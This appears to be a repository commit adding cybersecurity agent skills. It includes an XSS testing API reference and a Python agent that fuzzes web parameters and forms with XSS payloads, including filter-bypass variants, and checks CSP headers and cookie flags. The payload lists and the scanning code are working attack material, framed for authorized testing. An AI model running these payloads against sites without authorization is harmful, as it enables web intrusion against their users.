Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills

Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders
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MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
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# API Reference: Testing for XSS Vulnerabilities
## requests Library for XSS Testing
### Reflection Testing
```python
from urllib.parse import quote
# Inject canary to find reflection points
resp = requests.get(f"{url}?q={canary}")
if canary in resp.text:
# Input is reflected - test payloads
resp = requests.get(f"{url}?q={quote(payload)}")
```
## XSS Payload Categories
| Context | Example Payload |
|---------|----------------|
| HTML body | `<script>alert(document.domain)</script>` |
| HTML attribute | `" onfocus=alert(1) autofocus="` |
| JavaScript string | `';alert(1)//` |
| URL/href | `javascript:alert(1)` |
| Event handler | `<img src=x onerror=alert(1)>` |
| SVG | `<svg onload=alert(1)>` |
| Filter bypass | `<ScRiPt>alert(1)</sCrIpT>` |
## XSS Types
| Type | Description | Persistence |
|------|-------------|-------------|
| Reflected | Payload in URL/request, reflected in response | Non-persistent |
| Stored | Payload saved server-side, rendered to others | Persistent |
| DOM-based | Payload processed by client-side JavaScript | Client-side |
## CSP Analysis
| Directive | Insecure Value | Risk |
|-----------|---------------|------|
| `script-src` | `'unsafe-inline'` | Allows inline `<script>` tags |
| `script-src` | `'unsafe-eval'` | Allows `eval()` and similar |
| `script-src` | `*.googleapis.com` | May host JSONP endpoints |
| `base-uri` | Not set | Allows `<base>` tag injection |
| `default-src` | `*` | Allows scripts from any origin |
## Cookie Security Flags
| Flag | Purpose |
|------|---------|
| `HttpOnly` | Prevents JavaScript access to cookies |
| `Secure` | Only send over HTTPS |
| `SameSite` | Cross-site request protection |
## References
- OWASP XSS Guide: https://owasp.org/www-community/attacks/xss/
- XSS Filter Evasion: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
- CSP Evaluator: https://csp-evaluator.withgoogle.com/
- PortSwigger XSS: https://portswigger.net/web-security/cross-site-scripting
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#!/usr/bin/env python3
"""Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments."""
import requests
import re
import json
import sys
import argparse
import urllib3
from datetime import datetime
from urllib.parse import urljoin, quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
XSS_PAYLOADS = {
"html_body": [
'<script>alert(document.domain)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<details open ontoggle=alert(1)>',
'<body onload=alert(1)>',
],
"html_attribute": [
'" onfocus=alert(1) autofocus="',
'" onmouseover=alert(1) "',
'"><script>alert(1)</script>',
"' onfocus=alert(1) autofocus='",
],
"javascript_context": [
"';alert(1)//",
"\\';alert(1)//",
"</script><script>alert(1)</script>",
],
"filter_bypass": [
'<ScRiPt>alert(1)</sCrIpT>',
'<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>',
'<svg/onload=alert(1)>',
'<input onfocus=alert(1) autofocus>',
],
}
CANARY = "xsscanary7391"
def detect_reflection_context(response_text, canary):
"""Determine the rendering context of reflected input."""
contexts = []
if f">{canary}<" in response_text or f">{canary} " in response_text:
contexts.append("html_body")
if f'="{canary}"' in response_text or f"='{canary}'" in response_text:
contexts.append("html_attribute")
if f"'{canary}'" in response_text or f'"{canary}"' in response_text:
if "<script>" in response_text.lower():
contexts.append("javascript_context")
if f'href="{canary}' in response_text or f"href='{canary}" in response_text:
contexts.append("url_context")
return contexts if contexts else ["html_body"]
def test_reflected_xss(base_url, params, token=None):
"""Test URL parameters for reflected XSS."""
print("\n[*] Testing reflected XSS...")
findings = []
headers = {}
if token:
headers["Authorization"] = f"Bearer {token}"
for param_url in params:
url = urljoin(base_url, param_url)
canary_url = url.replace("FUZZ", CANARY)
try:
resp = requests.get(canary_url, headers=headers, timeout=10, verify=False)
if CANARY not in resp.text:
continue
contexts = detect_reflection_context(resp.text, CANARY)
print(f" [+] Reflection found at {param_url} (contexts: {contexts})")
char_test_url = url.replace("FUZZ", '<>"\'&/')
char_resp = requests.get(char_test_url, headers=headers, timeout=10, verify=False)
unencoded = []
for ch in ['<', '>', '"', "'", '/']:
if ch in char_resp.text and f"&{ch}" not in char_resp.text:
unencoded.append(ch)
for context in contexts:
payloads = XSS_PAYLOADS.get(context, XSS_PAYLOADS["html_body"])
for payload in payloads:
test_url = url.replace("FUZZ", quote(payload))
try:
test_resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
if payload in test_resp.text or payload.lower() in test_resp.text.lower():
findings.append({
"type": "REFLECTED_XSS", "url": param_url,
"payload": payload, "context": context,
"severity": "HIGH",
})
print(f" [!] XSS CONFIRMED: {param_url} | payload: {payload[:50]}")
break
except requests.RequestException:
continue
except requests.RequestException:
continue
return findings
def test_stored_xss(base_url, submit_endpoint, display_endpoint, token, field="body"):
"""Test stored XSS via form submission."""
print(f"\n[*] Testing stored XSS on {submit_endpoint}...")
findings = []
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
submit_url = urljoin(base_url, submit_endpoint)
display_url = urljoin(base_url, display_endpoint)
for payload_type, payloads in XSS_PAYLOADS.items():
for payload in payloads[:2]:
marker = f"XSS-{payload_type}-{hash(payload) % 10000}"
tagged_payload = f"{marker}:{payload}"
try:
resp = requests.post(submit_url, headers=headers,
json={field: tagged_payload}, timeout=10, verify=False)
if resp.status_code in (200, 201):
display_resp = requests.get(display_url, headers=headers,
timeout=10, verify=False)
if payload in display_resp.text:
findings.append({
"type": "STORED_XSS", "submit": submit_endpoint,
"display": display_endpoint, "payload": payload,
"severity": "CRITICAL",
})
print(f" [!] STORED XSS: {payload[:50]}")
break
except requests.RequestException:
continue
return findings
def check_csp_header(base_url):
"""Analyze Content Security Policy header for XSS protection."""
print(f"\n[*] Checking CSP header on {base_url}...")
findings = []
try:
resp = requests.get(base_url, timeout=10, verify=False)
csp = resp.headers.get("Content-Security-Policy", "")
xxp = resp.headers.get("X-XSS-Protection", "")
if not csp:
findings.append({"type": "NO_CSP", "severity": "MEDIUM"})
print(" [!] No Content-Security-Policy header")
else:
print(f" [+] CSP: {csp[:100]}...")
if "unsafe-inline" in csp:
findings.append({"type": "CSP_UNSAFE_INLINE", "severity": "HIGH"})
print(" [!] CSP allows 'unsafe-inline'")
if "unsafe-eval" in csp:
findings.append({"type": "CSP_UNSAFE_EVAL", "severity": "HIGH"})
print(" [!] CSP allows 'unsafe-eval'")
if "*" in csp:
findings.append({"type": "CSP_WILDCARD", "severity": "MEDIUM"})
print(" [!] CSP contains wildcard domains")
if not xxp:
print(" [INFO] No X-XSS-Protection header (deprecated)")
cookie_headers = resp.headers.get("Set-Cookie", "")
if cookie_headers and "httponly" not in cookie_headers.lower():
findings.append({"type": "COOKIE_NO_HTTPONLY", "severity": "MEDIUM"})
print(" [!] Session cookie missing HttpOnly flag")
except requests.RequestException as e:
print(f" [-] Error: {e}")
return findings
def generate_report(findings, output_path):
"""Generate XSS assessment report."""
report = {
"assessment_date": datetime.now().isoformat(),
"total_findings": len(findings),
"by_type": {},
"findings": findings,
}
for f in findings:
t = f.get("type", "UNKNOWN")
report["by_type"][t] = report["by_type"].get(t, 0) + 1
with open(output_path, "w") as fh:
json.dump(report, fh, indent=2)
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
def main():
parser = argparse.ArgumentParser(description="XSS Vulnerability Testing Agent")
parser.add_argument("base_url", help="Base URL of the target")
parser.add_argument("--token", help="Bearer token for authenticated testing")
parser.add_argument("--params", nargs="+", default=["/search?q=FUZZ", "/page?name=FUZZ"])
parser.add_argument("--submit-endpoint", help="Endpoint to submit stored XSS")
parser.add_argument("--display-endpoint", help="Endpoint where stored input is displayed")
parser.add_argument("-o", "--output", default="xss_report.json")
args = parser.parse_args()
print(f"[*] XSS Vulnerability Assessment: {args.base_url}")
findings = []
findings.extend(check_csp_header(args.base_url))
findings.extend(test_reflected_xss(args.base_url, args.params, args.token))
if args.submit_endpoint and args.display_endpoint:
findings.extend(test_stored_xss(args.base_url, args.submit_endpoint,
args.display_endpoint, args.token))
generate_report(findings, args.output)
if __name__ == "__main__":
main()